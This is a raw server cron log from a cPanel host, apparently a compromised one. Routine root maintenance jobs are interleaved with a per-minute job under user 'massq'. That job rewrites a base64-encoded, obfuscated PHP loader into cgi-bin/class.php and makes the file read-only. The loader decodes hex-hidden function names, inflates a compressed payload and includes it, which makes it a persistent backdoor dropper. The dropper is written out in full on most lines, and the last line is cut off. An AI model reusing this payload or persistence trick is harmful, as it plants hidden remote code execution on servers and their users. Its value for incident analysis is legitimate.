Sep  4 08:15:01 server CROND[13143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:15:01 server CROND[13145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:15:01 server CROND[13147]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 08:15:01 server CROND[13150]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 08:15:01 server CROND[13146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:15:01 server CROND[13149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:15:01 server CROND[13148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:15:01 server CROND[13152]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:16:01 server CROND[14088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:16:01 server CROND[14090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:16:01 server CROND[14089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:17:01 server CROND[14503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:17:01 server CROND[14504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:17:01 server CROND[14505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:18:01 server CROND[14873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:18:01 server CROND[14874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:18:01 server CROND[14875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:19:01 server CROND[15238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:19:01 server CROND[15239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:19:01 server CROND[15240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:20:01 server CROND[15648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:20:01 server CROND[15650]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:20:01 server CROND[15653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:20:01 server CROND[15655]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:20:01 server CROND[15657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:20:01 server CROND[15661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:20:01 server CROND[15664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:20:01 server CROND[15660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:20:01 server CROND[15663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:21:01 server CROND[16576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:21:01 server CROND[16577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:21:01 server CROND[16578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:22:01 server CROND[16949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:22:01 server CROND[16950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:22:01 server CROND[16951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:23:01 server CROND[17319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:23:01 server CROND[17321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:23:01 server CROND[17320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:24:01 server CROND[17678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:24:01 server CROND[17679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:24:01 server CROND[17680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:25:01 server CROND[18105]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:25:01 server CROND[18114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:25:01 server CROND[18116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:25:01 server CROND[18119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:25:01 server CROND[18118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:25:01 server CROND[18120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:25:01 server CROND[18121]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 08:25:01 server CROND[18123]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:26:01 server CROND[19024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:26:01 server CROND[19025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 